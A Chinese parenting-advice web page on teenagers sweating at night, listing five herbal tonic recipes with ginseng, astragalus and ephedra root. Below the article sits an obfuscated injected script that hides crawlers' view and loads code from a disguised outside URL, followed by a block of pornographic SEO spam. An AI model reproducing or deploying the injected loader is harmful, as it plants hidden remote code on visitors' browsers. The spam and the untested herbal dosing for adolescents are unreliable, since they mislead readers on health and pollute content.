當前位置:首頁 > 母嬰 > 育兒知識 > 正文

青少年晚上睡覺出汗怎么辦

2017-04-03 09:24:01  來源:360常識網   熱度:
導語:睡覺時一個人一天中必須要保證的事,因為睡眠的質量好壞就決定了第二天一整天的精力是怎樣的,現在很多人都不會注意自己的睡眠質量,而且年

睡覺時一個人一天中必須要保證的事,因為睡眠的質量好壞就決定了第二天一整天的精力是怎樣的,現在很多人都不會注意自己的睡眠質量,而且年輕人居多,大部分年輕人熬夜是為了上網玩游戲聊天等,但是這睡眠就耽誤了長身體的大好時機。那么青少年晚上睡覺出汗怎么辦?

1龍眼人參飲 取龍眼肉30克、人參6克、冰糖30克。先將龍眼肉洗凈,人參切薄片,然后與冰糖共放碗內,加水適量,置蒸鍋內蒸一小時左右,取出后待涼即可食用,一天內分2次吃完,每天一劑,適宜于氣虛盜汗者。

2、銀耳紅棗湯 取銀耳30克、紅棗20克、冰糖適量。先將銀耳用溫水泡發,除去蒂頭,洗凈后撕成小塊。紅棗洗凈撕開。二味藥共入鍋內加水適量,用小火慢煨至銀耳、紅棗料熟,放入冰糖溶化調勻,即可出鍋食用,每劑分2次食完,適宜于陰虛盜汗者。

3、參苓粥 取人參10克,白茯苓20克,生姜10克,粳米100克,食鹽、味精適量。先將人參、茯苓、生姜加適量水煎熬后,去汁取渣待用,然后將粳米淘洗干凈,下入藥汁內用小火煮粥。煮至粥熟時加入食鹽、味精調勻,空腹分2次食用,每天一劑,適宜于氣虛盜汗者。

4、黑豆浮麥湯 取黑豆50克、浮小麥30克、蓮米15克、紅棗10枚、冰糖30克。先將黑豆、浮小麥分別淘洗干凈,共放鍋內加水適量,用小火煮至黑豆熟透,去渣取汁,然后用上述藥汁煮洗凈的蓮米和紅棗,煮至蓮米爛熟時放入冰糖溶化,起鍋后即可食用。每天一劑,分2次吃完,適宜于陰虛盜汗者。

5、黃芪二蜜飲 黃芪30克,糯稻根30克,麻黃根15克,蜂蜜30克。將上述三味藥同放鍋內,加水3碗煎煮,煮至l碗時,撈去藥渣,加入蜂蜜溶化后分2次飲用,每日一劑,適宜于氣虛盜汗者。

綜上所述,關于青少年晚上睡覺出汗怎么辦的解答在上文已經為大家介紹得很詳細了,如果還有什么不明白的地方還可以咨詢一下醫生。青少年正處于成長發育的大號時光,而如果晚上休息不好就會耽誤成長,所以以上方法可以幫您解決煩惱。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产a久久精品一区二区三区| 精品免费久久久久国产一区| 精品国产福利在线观看91啪| 自拍偷自拍亚洲精品偷一| 国产精品一区电影| 国产精品成在线观看| 亚洲情侣偷拍精品| 亚洲婷婷国产精品电影人久久| 精品乱码久久久久久夜夜嗨| 99国产精品久久| 午夜不卡久久精品无码免费| 91精品国产色综久久| 精品久久久久久无码中文野结衣 | 思思re热免费精品视频66| 国产精品亚洲av色欲三区| 国产精品18久久久久久麻辣| 精品无码三级在线观看视频| 久久精品视频免费| 91免费国产精品| 国产精品lululu在线观看| 国产精品99久久免费| 久久免费国产精品| 久久精品女人毛片国产| 99rv精品视频在线播放| 精品国产一区二区三区香蕉事| 青娱乐精品视频在线观看| 久久久久久亚洲精品不卡 | 国产精品女主播自在线拍| 久9视频这里只有精品| 人人妻人人澡人人爽人人精品97 | 蝌蚪久热精品视频在线观看| 国产精品视频免费| 国产精品电影网在线好看| 国产午夜精品一区二区三区不卡| 久久精品无码精品免费专区| 激情亚洲一区国产精品| 国产精品亚洲一区二区在线观看 | 91精品国产91久久| 国产精品久久久久久亚洲影视| 精品国产一区二区三区AV性色| 国产精品亚洲а∨无码播放|